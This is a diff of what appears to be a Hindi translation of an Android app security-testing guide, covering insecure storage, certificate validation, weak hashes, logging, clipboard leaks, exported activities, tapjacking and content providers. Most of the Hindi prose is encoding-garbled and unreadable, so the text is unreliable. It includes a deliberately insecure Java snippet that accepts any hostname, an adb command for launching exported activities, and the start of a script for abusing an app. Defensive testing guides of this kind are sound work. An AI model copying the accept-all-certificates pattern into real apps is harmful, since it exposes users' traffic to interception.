рд╣реИрдВ, рдЗрд╕рд▓рд┐рдП рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдЗрд╕ рд╡реНрдпрд╡рд╣рд╛рд░ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ:** ```bash # Create script to execute with the action cat > "/tmp/script.js" < [!NOTE] -> Android 4.4 (**API 17**) рд╕реЗ рд╢реБрд░реВ рд╣реЛрдХрд░, SD рдХрд╛рд░реНрдб рдореЗрдВ рдПрдХ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рд╕рдВрд░рдЪрдирд╛ рд╣реИ рдЬреЛ **рдПрдХ рдРрдк рд╕реЗ рдЙрд╕ рдРрдк рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рддрдХ рдкрд╣реБрдБрдЪ рдХреЛ рд╕реАрдорд┐рдд рдХрд░рддреА рд╣реИ**ред рдпрд╣ malicious рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдХрд┐рд╕реА рдЕрдиреНрдп рдРрдк рдХреА рдлрд╝рд╛рдЗрд▓реЛрдВ рддрдХ рдкрдврд╝рдиреЗ рдпрд╛ рд▓рд┐рдЦрдиреЗ рдХреА рдкрд╣реБрдБрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рд╕реЗ рд░реЛрдХрддрд╛ рд╣реИред +> Android 4.4 (**API 17**) рд╕реЗ рд╢реБрд░реВ рд╣реЛрдХрд░, SD рдХрд╛рд░реНрдб рдореЗрдВ рдПрдХ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рд╕рдВрд░рдЪрдирд╛ рд╣реИ рдЬреЛ **рдПрдХ рдРрдк рд╕реЗ рдЙрд╕ рдРрдк рдХреЗ рд▓рд┐рдП рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛ рддрдХ рдкрд╣реБрдБрдЪ рдХреЛ рд╕реАрдорд┐рдд рдХрд░рддреА рд╣реИ**ред рдпрд╣ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рдХрд┐рд╕реА рдЕрдиреНрдп рдРрдк рдХреА рдлрд╝рд╛рдЗрд▓реЛрдВ рддрдХ рдкрдврд╝рдиреЗ рдпрд╛ рд▓рд┐рдЦрдиреЗ рдХреА рдкрд╣реБрдБрдЪ рдкреНрд░рд╛рдкреНрдд рдХрд░рдиреЗ рд╕реЗ рд░реЛрдХрддрд╛ рд╣реИред **Sensitive data stored in clear-text** @@ -134,7 +134,7 @@ Android рдореЗрдВ, рдлрд╝рд╛рдЗрд▓реЗрдВ **internal** storage рдореЗрдВ **stored **Accept All Certificates** -рдХрд┐рд╕реА рдХрд╛рд░рдг рд╕реЗ рдХрднреА-рдХрднреА рдбреЗрд╡рд▓рдкрд░реНрд╕ рд╕рднреА рдкреНрд░рдорд╛рдгрдкрддреНрд░реЛрдВ рдХреЛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рддреЗ рд╣реИрдВ рднрд▓реЗ рд╣реА рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рд╣реЛрд╕реНрдЯрдирд╛рдо рдХреЛрдб рдХреА рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкрдВрдХреНрддрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рдореЗрд▓ рди рдЦрд╛рддрд╛ рд╣реЛ: +рдХрд┐рд╕реА рдХрд╛рд░рдг рд╕реЗ рдХрднреА-рдХрднреА рдбреЗрд╡рд▓рдкрд░реНрд╕ рд╕рднреА рдкреНрд░рдорд╛рдгрдкрддреНрд░реЛрдВ рдХреЛ рд╕реНрд╡реАрдХрд╛рд░ рдХрд░рддреЗ рд╣реИрдВ, рднрд▓реЗ рд╣реА рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП рд╣реЛрд╕реНрдЯрдирд╛рдо рдХреЛрдб рдХреА рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдкрдВрдХреНрддрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рдореЗрд▓ рди рдЦрд╛рддрд╛ рд╣реЛ: ```java SSLSocketFactory sf = new cc(trustStore); sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER); @@ -149,14 +149,14 @@ A good way to test this is to try to capture the traffic using some proxy like B **Use of Insecure and/or Deprecated Algorithms** -рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЛ **deprecated algorithms** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ **checks**, **store** рдпрд╛ **send** рдбреЗрдЯрд╛ рдирд╣реАрдВ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред рдЗрдирдореЗрдВ рд╕реЗ рдХреБрдЫ рдПрд▓реНрдЧреЛрд░рд┐рджрдо рд╣реИрдВ: RC4, MD4, MD5, SHA1... рдпрджрд┐ **hashes** рдХрд╛ рдЙрдкрдпреЛрдЧ рдкрд╛рд╕рд╡рд░реНрдб рдХреЛ рд╕реНрдЯреЛрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, salt рдХреЗ рд╕рд╛рде brute-force **resistant** hashes рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред +рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЛ **deprecated algorithms** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреНрд░рд╛рдзрд┐рдХрд░рдг **checks**, **store** рдпрд╛ **send** рдбреЗрдЯрд╛ рдирд╣реАрдВ рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред рдЗрдирдореЗрдВ рд╕реЗ рдХреБрдЫ рдПрд▓реНрдЧреЛрд░рд┐рджрдо рд╣реИрдВ: RC4, MD4, MD5, SHA1... рдпрджрд┐ **hashes** рдХрд╛ рдЙрдкрдпреЛрдЧ рдкрд╛рд╕рд╡рд░реНрдб рдХреЛ рд╕реНрдЯреЛрд░ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, salt рдХреЗ рд╕рд╛рде brute-force **resistant** hashes рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред ### Other checks - рдпрд╣ рдЕрдиреБрд╢рдВрд╕рд╛ рдХреА рдЬрд╛рддреА рд╣реИ рдХрд┐ **APK рдХреЛ obfuscate рдХрд░реЗрдВ** рддрд╛рдХрд┐ рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХреЗ рд▓рд┐рдП рд░рд┐рд╡рд░реНрд╕ рдЗрдВрдЬреАрдирд┐рдпрд░рд┐рдВрдЧ рдХрд╛ рдХрд╛рдо рдХрдард┐рди рд╣реЛ рд╕рдХреЗред -- рдпрджрд┐ рдРрдк рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реИ (рдЬреИрд╕реЗ рдмреИрдВрдХ рдРрдк), рддреЛ рдЗрд╕реЗ **рджреЗрдЦрдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рдореЛрдмрд╛рдЗрд▓ рд░реВрдЯреЗрдб рд╣реИ рдпрд╛ рдирд╣реАрдВ** рдФрд░ рдЗрд╕рдХреЗ рдЕрдиреБрд╕рд╛рд░ рдХрд╛рд░реНрдп рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред -- рдпрджрд┐ рдРрдк рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реИ (рдЬреИрд╕реЗ рдмреИрдВрдХ рдРрдк), рддреЛ рдЗрд╕реЗ рджреЗрдЦрдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рдХреНрдпрд╛ **emulator** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИред -- рдпрджрд┐ рдРрдк рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реИ (рдЬреИрд╕реЗ рдмреИрдВрдХ рдРрдк), рддреЛ рдЗрд╕реЗ **execute рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдЕрдкрдиреА рдЕрдЦрдВрдбрддрд╛ рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреА рдЪрд╛рд╣рд┐рдП** рдХрд┐ рдХреНрдпрд╛ рдЗрд╕реЗ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред +- рдпрджрд┐ рдРрдк рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реИ (рдЬреИрд╕реЗ рдмреИрдВрдХ рдРрдк), рддреЛ рдЗрд╕реЗ **рдпрд╣ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдЕрдкрдиреЗ рд╕реНрд╡рдпрдВ рдХреЗ checks** рдХрд░рдиреЗ рдЪрд╛рд╣рд┐рдП рдХрд┐ рдореЛрдмрд╛рдЗрд▓ рд░реВрдЯреЗрдб рд╣реИ рдпрд╛ рдирд╣реАрдВ рдФрд░ рдЗрд╕рдХреЗ рдЕрдиреБрд╕рд╛рд░ рдХрд╛рд░реНрдп рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред +- рдпрджрд┐ рдРрдк рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реИ (рдЬреИрд╕реЗ рдмреИрдВрдХ рдРрдк), рддреЛ рдЗрд╕реЗ рдпрд╣ рдЬрд╛рдВрдЪрдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рдХреНрдпрд╛ рдПрдХ **emulator** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИред +- рдпрджрд┐ рдРрдк рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рд╣реИ (рдЬреИрд╕реЗ рдмреИрдВрдХ рдРрдк), рддреЛ рдЗрд╕реЗ **execute рдХрд░рдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдЕрдкрдиреА рд╕реНрд╡рдпрдВ рдХреА integrity** рдХреА рдЬрд╛рдВрдЪ рдХрд░рдиреА рдЪрд╛рд╣рд┐рдП рдХрд┐ рдХреНрдпрд╛ рдЗрд╕реЗ рд╕рдВрд╢реЛрдзрд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред - [**APKiD**](https://github.com/rednaga/APKiD) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ рдпрд╣ рдЬрд╛рдВрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ APK рдмрдирд╛рдиреЗ рдХреЗ рд▓рд┐рдП рдХреМрди рд╕рд╛ compiler/packer/obfuscator рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред ### React Native Application @@ -266,25 +266,25 @@ You need to activate the **debugging** options and it will be cool if you can ** **Logging** -рдбреЗрд╡рд▓рдкрд░реНрд╕ рдХреЛ **debugging information** рдХреЛ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рд░реВрдк рд╕реЗ рдЙрдЬрд╛рдЧрд░ рдХрд░рдиреЗ рдХреЗ рдкреНрд░рддрд┐ рд╕рддрд░реНрдХ рд░рд╣рдирд╛ рдЪрд╛рд╣рд┐рдП, рдХреНрдпреЛрдВрдХрд┐ рдЗрд╕рд╕реЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ рд▓реАрдХ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рдПрдкреНрд▓рд┐рдХреЗрд╢рди рд▓реЙрдЧ рдХреА рдирд┐рдЧрд░рд╛рдиреА рдХреЗ рд▓рд┐рдП [**pidcat**](https://github.com/JakeWharton/pidcat) рдФрд░ `adb logcat` рдЙрдкрдХрд░рдгреЛрдВ рдХреА рд╕рд┐рдлрд╛рд░рд┐рд╢ рдХреА рдЬрд╛рддреА рд╣реИ рддрд╛рдХрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдХреА рдкрд╣рдЪрд╛рди рдФрд░ рд╕реБрд░рдХреНрд╖рд╛ рдХреА рдЬрд╛ рд╕рдХреЗред **Pidcat** рдХреЛ рдЗрд╕рдХреЗ рдЙрдкрдпреЛрдЧ рдореЗрдВ рдЖрд╕рд╛рдиреА рдФрд░ рдкрдардиреАрдпрддрд╛ рдХреЗ рд▓рд┐рдП рдкрд╕рдВрдж рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +Developers should be cautious of exposing **debugging information** publicly, as it can lead to sensitive data leaks. The tools [**pidcat**](https://github.com/JakeWharton/pidcat) and `adb logcat` are recommended for monitoring application logs to identify and protect sensitive information. **Pidcat** is favored for its ease of use and readability. > [!WARNING] -> рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ **Android 4.0 рд╕реЗ рдирдП рд╕рдВрд╕реНрдХрд░рдгреЛрдВ** рдореЗрдВ, **рдРрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗрд╡рд▓ рдЕрдкрдиреЗ рд╕реНрд╡рдпрдВ рдХреЗ рд▓реЙрдЧ рддрдХ рдкрд╣реБрдВрдЪрдиреЗ рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛрддреЗ рд╣реИрдВ**ред рдЗрд╕рд▓рд┐рдП рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдЕрдиреНрдп рдРрдк рдХреЗ рд▓реЙрдЧ рддрдХ рдкрд╣реБрдВрдЪ рдирд╣реАрдВ рд╕рдХрддреЗред\ -> рдлрд┐рд░ рднреА, рдпрд╣ рдЕрдиреБрд╢рдВрд╕рд╛ рдХреА рдЬрд╛рддреА рд╣реИ рдХрд┐ **рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рд▓реЙрдЧ рди рдХрд░реЗрдВ**ред +> Note that from **later newer than Android 4.0**, **applications are only able to access their own logs**. So applications cannot access other apps logs.\ +> Anyway, it's still recommended to **not log sensitive information**. **Copy/Paste Buffer Caching** -Android рдХрд╛ **clipboard-based** рдврд╛рдВрдЪрд╛ рдРрдкреНрд╕ рдореЗрдВ рдХреЙрдкреА-рдкреЗрд╕реНрдЯ рдХрд╛рд░реНрдпрдХреНрд╖рдорддрд╛ рдХреЛ рд╕рдХреНрд╖рдо рдХрд░рддрд╛ рд╣реИ, рдлрд┐рд░ рднреА рдпрд╣ рдПрдХ рдЬреЛрдЦрд┐рдо рдкреНрд░рд╕реНрддреБрдд рдХрд░рддрд╛ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ **рдЕрдиреНрдп рдПрдкреНрд▓рд┐рдХреЗрд╢рди** рдХреНрд▓рд┐рдкрдмреЛрд░реНрдб рддрдХ **рдкрд╣реБрдБрдЪ** рд╕рдХрддреЗ рд╣реИрдВ, рдЬрд┐рд╕рд╕реЗ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ рдЙрдЬрд╛рдЧрд░ рд╣реЛ рд╕рдХрддрд╛ рд╣реИред рдпрд╣ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЕрдиреБрднрд╛рдЧреЛрдВ рдХреЗ рд▓рд┐рдП **рдХреЙрдкреА/рдкреЗрд╕реНрдЯ** рдХрд╛рд░реНрдпреЛрдВ рдХреЛ рдмрдВрдж рдХрд░ рджрд┐рдпрд╛ рдЬрд╛рдП, рдЬреИрд╕реЗ рдХрд┐ рдХреНрд░реЗрдбрд┐рдЯ рдХрд╛рд░реНрдб рд╡рд┐рд╡рд░рдг, рдбреЗрдЯрд╛ рд▓реАрдХ рдХреЛ рд░реЛрдХрдиреЗ рдХреЗ рд▓рд┐рдПред +Android's **clipboard-based** framework enables copy-paste functionality in apps, yet poses a risk as **other applications** can **access** the clipboard, potentially exposing sensitive data. It's crucial to **disable copy/paste** functions for sensitive sections of an application, like credit card details, to prevent data leaks. **Crash Logs** -рдпрджрд┐ рдПрдХ рдПрдкреНрд▓рд┐рдХреЗрд╢рди **crash** рд╣реЛрддрд╛ рд╣реИ рдФрд░ **logs** рд╕рд╣реЗрдЬрддрд╛ рд╣реИ, рддреЛ рдпреЗ рд▓реЙрдЧ рд╣рдорд▓рд╛рд╡рд░реЛрдВ рдХреА рдорджрдж рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЬрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЛ рд░рд┐рд╡рд░реНрд╕-рдЗрдВрдЬреАрдирд┐рдпрд░ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ред рдЗрд╕ рдЬреЛрдЦрд┐рдо рдХреЛ рдХрдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдХреНрд░реИрд╢ рдкрд░ рд▓реЙрдЧрд┐рдВрдЧ рд╕реЗ рдмрдЪреЗрдВ, рдФрд░ рдпрджрд┐ рд▓реЙрдЧ рдХреЛ рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рднреЗрдЬрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП, рддреЛ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░реЗрдВ рдХрд┐ рдЙрдиреНрд╣реЗрдВ рд╕реБрд░рдХреНрд╖рд╛ рдХреЗ рд▓рд┐рдП SSL рдЪреИрдирд▓ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рднреЗрдЬрд╛ рдЬрд╛рдПред +If an application **crashes** and **saves logs**, these logs can assist attackers, particularly when the application cannot be reverse-engineered. To mitigate this risk, avoid logging on crashes, and if logs must be transmitted over the network, ensure they are sent via an SSL channel for security. As pentester, **try to take a look to these logs**. **Analytics Data Sent To 3rd Parties** -рдРрдкреНрд▓рд┐рдХреЗрд╢рди рдЕрдХреНрд╕рд░ Google Adsense рдЬреИрд╕реА рд╕реЗрд╡рд╛рдУрдВ рдХреЛ рдПрдХреАрдХреГрдд рдХрд░рддреЗ рд╣реИрдВ, рдЬреЛ рдбреЗрд╡рд▓рдкрд░реНрд╕ рджреНрд╡рд╛рд░рд╛ рдЕрдиреБрдЪрд┐рдд рдХрд╛рд░реНрдпрд╛рдиреНрд╡рдпрди рдХреЗ рдХрд╛рд░рдг рдЕрдирдЬрд╛рдиреЗ рдореЗрдВ **рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдбреЗрдЯрд╛ рд▓реАрдХ** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред рд╕рдВрднрд╛рд╡рд┐рдд рдбреЗрдЯрд╛ рд▓реАрдХ рдХреА рдкрд╣рдЪрд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдпрд╣ рд╕рд▓рд╛рд╣ рджреА рдЬрд╛рддреА рд╣реИ рдХрд┐ **рдРрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рдЯреНрд░реИрдлрд╝рд┐рдХ рдХреЛ рдЗрдВрдЯрд░рд╕реЗрдкреНрдЯ рдХрд░реЗрдВ** рдФрд░ рджреЗрдЦреЗрдВ рдХрд┐ рдХреНрдпрд╛ рдХреЛрдИ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рддреАрд╕рд░реЗ рдкрдХреНрд╖ рдХреА рд╕реЗрд╡рд╛рдУрдВ рдХреЛ рднреЗрдЬреА рдЬрд╛ рд░рд╣реА рд╣реИред +Applications often integrate services like Google Adsense, which can inadvertently **leak sensitive data** due to improper implementation by developers. To identify potential data leaks, it's advisable to **intercept the application's traffic** and check for any sensitive information being sent to third-party services. ### SQLite DBs @@ -318,25 +318,25 @@ You can also start an exported activity from adb: ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` -**NOTE**: MobSF _**singleTask/singleInstance**_ рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЛ `android:launchMode` рдореЗрдВ рдПрдХ рдЧрддрд┐рд╡рд┐рдзрд┐ рдХреЗ рд░реВрдк рдореЗрдВ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╣рдЪрд╛рдирддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди [рдЗрд╕](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) рдХреЗ рдХрд╛рд░рдг, рдпрд╣ рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ рдХреЗрд╡рд▓ рдкреБрд░рд╛рдиреЗ рд╕рдВрд╕реНрдХрд░рдгреЛрдВ (API рд╕рдВрд╕реНрдХрд░рдг < 21) рдкрд░ рдЦрддрд░рдирд╛рдХ рд╣реИред +**NOTE**: MobSF _**singleTask/singleInstance**_ рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЛ рдПрдХ рдЧрддрд┐рд╡рд┐рдзрд┐ рдореЗрдВ `android:launchMode` рдХреЗ рд░реВрдк рдореЗрдВ рджреБрд░реНрднрд╛рд╡рдирд╛рдкреВрд░реНрдг рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╣рдЪрд╛рдирддрд╛ рд╣реИ, рд▓реЗрдХрд┐рди [рдЗрд╕](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) рдХреЗ рдХрд╛рд░рдг, рдпрд╣ рд╕реНрдкрд╖реНрдЯ рд░реВрдк рд╕реЗ рдХреЗрд╡рд▓ рдкреБрд░рд╛рдиреЗ рд╕рдВрд╕реНрдХрд░рдгреЛрдВ (API рд╕рдВрд╕реНрдХрд░рдг < 21) рдкрд░ рдЦрддрд░рдирд╛рдХ рд╣реИред > [!NOTE] > рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдПрдХ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдмрд╛рдпрдкрд╛рд╕ рд╣рдореЗрд╢рд╛ рдПрдХ рдХрдордЬреЛрд░ рдмрд┐рдВрджреБ рдирд╣реАрдВ рд╣реЛрддрд╛ рд╣реИ, рдпрд╣ рдЗрд╕ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░реЗрдЧрд╛ рдХрд┐ рдмрд╛рдпрдкрд╛рд╕ рдХреИрд╕реЗ рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ рдФрд░ рдХреМрди рд╕реА рдЬрд╛рдирдХрд╛рд░реА рдЙрдЬрд╛рдЧрд░ рд╣реЛрддреА рд╣реИред **рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдХрд╛ рд░рд┐рд╕рд╛рд╡** -**рдЧрддрд┐рд╡рд┐рдзрд┐рдпрд╛рдБ рдкрд░рд┐рдгрд╛рдо рднреА рд▓реМрдЯрд╛ рд╕рдХрддреА рд╣реИрдВ**ред рдпрджрд┐ рдЖрдк рдПрдХ рдирд┐рд░реНрдпрд╛рддрд┐рдд рдФрд░ рдЕрд╕реБрд░рдХреНрд╖рд┐рдд рдЧрддрд┐рд╡рд┐рдзрд┐ рдХреЛ рдЦреЛрдЬрдиреЗ рдореЗрдВ рд╕рдлрд▓ рд╣реЛрддреЗ рд╣реИрдВ рдЬреЛ **`setResult`** рд╡рд┐рдзрд┐ рдХреЛ рдХреЙрд▓ рдХрд░рддреА рд╣реИ рдФрд░ **рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА** рд▓реМрдЯрд╛рддреА рд╣реИ, рддреЛ рдпрд╣ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдХрд╛ рд░рд┐рд╕рд╛рд╡ рд╣реИред +**рдЧрддрд┐рд╡рд┐рдзрд┐рдпрд╛рдБ рдкрд░рд┐рдгрд╛рдо рднреА рд▓реМрдЯрд╛ рд╕рдХрддреА рд╣реИрдВ**ред рдпрджрд┐ рдЖрдк рдПрдХ рдирд┐рд░реНрдпрд╛рддрд┐рдд рдФрд░ рдЕрдкреНрд░реЛрдЯреЗрдХреНрдЯреЗрдб рдЧрддрд┐рд╡рд┐рдзрд┐ рдХреЛ рдЦреЛрдЬрдиреЗ рдореЗрдВ рд╕рдлрд▓ рд╣реЛрддреЗ рд╣реИрдВ рдЬреЛ **`setResult`** рд╡рд┐рдзрд┐ рдХреЛ рдХреЙрд▓ рдХрд░рддреА рд╣реИ рдФрд░ **рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА** рд▓реМрдЯрд╛рддреА рд╣реИ, рддреЛ рдпрд╣ рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рдХрд╛ рд░рд┐рд╕рд╛рд╡ рд╣реИред #### Tapjacking -рдпрджрд┐ tapjacking рдХреЛ рд░реЛрдХрд╛ рдирд╣реАрдВ рдЧрдпрд╛, рддреЛ рдЖрдк рдирд┐рд░реНрдпрд╛рддрд┐рдд рдЧрддрд┐рд╡рд┐рдзрд┐ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд рдХреНрд░рд┐рдпрд╛рдПрдБ** рдХрд░ рд╕рдХреЗред [**Tapjacking рдХреНрдпрд╛ рд╣реИ, рдЗрд╕рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП рд▓рд┐рдВрдХ рдХрд╛ рдкрд╛рд▓рди рдХрд░реЗрдВ**](#tapjacking)ред +рдпрджрд┐ tapjacking рдХреЛ рд░реЛрдХрд╛ рдирд╣реАрдВ рдЧрдпрд╛, рддреЛ рдЖрдк рдирд┐рд░реНрдпрд╛рддрд┐рдд рдЧрддрд┐рд╡рд┐рдзрд┐ рдХрд╛ рджреБрд░реБрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рддрд╛рдХрд┐ **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдЕрдкреНрд░рддреНрдпрд╛рд╢рд┐рдд рдХреНрд░рд┐рдпрд╛рдПрдБ** рдХрд░ рд╕рдХреЗред Tapjacking рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдЕрдзрд┐рдХ рдЬрд╛рдирдХрд╛рд░реА рдХреЗ рд▓рд┐рдП [**рдпрд╣рд╛рдБ рд▓рд┐рдВрдХ рдХрд╛ рдкрд╛рд▓рди рдХрд░реЗрдВ**](#tapjacking)ред ### рд╕рд╛рдордЧреНрд░реА рдкреНрд░рджрд╛рддрд╛рдУрдВ рдХрд╛ рд╢реЛрд╖рдг - рд╕рдВрд╡реЗрджрдирд╢реАрд▓ рдЬрд╛рдирдХрд╛рд░реА рддрдХ рдкрд╣реБрдБрдЪ рдФрд░ рд╣реЗрд░рдлреЗрд░ [**рдпрджрд┐ рдЖрдк рд╕рд╛рдордЧреНрд░реА рдкреНрд░рджрд╛рддрд╛ рдХреНрдпрд╛ рд╣реИ, рдЗрд╕реЗ рддрд╛рдЬрд╝рд╛ рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рддреЛ рдЗрд╕реЗ рдкрдврд╝реЗрдВред**](android-applications-basics.md#content-provider)\ -рд╕рд╛рдордЧреНрд░реА рдкреНрд░рджрд╛рддрд╛ рдореВрд▓ рд░реВрдк рд╕реЗ **рдбреЗрдЯрд╛ рд╕рд╛рдЭрд╛ рдХрд░рдиреЗ** рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред рдпрджрд┐ рдХрд┐рд╕реА рдРрдк рдореЗрдВ рдЙрдкрд▓рдмреНрдз рд╕рд╛рдордЧреНрд░реА рдкреНрд░рджрд╛рддрд╛ рд╣реИрдВ, рддреЛ рдЖрдк рдЙрдирд╕реЗ **рд╕рдВрд╡реЗрджрдирд╢реАрд▓** рдбреЗрдЯрд╛ **рдирд┐рдХрд╛рд▓рдиреЗ** рдореЗрдВ рд╕рдХреНрд╖рдо рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВред рдпрд╣ рднреА **SQL рдЗрдВрдЬреЗрдХреНрд╢рди** рдФрд░ 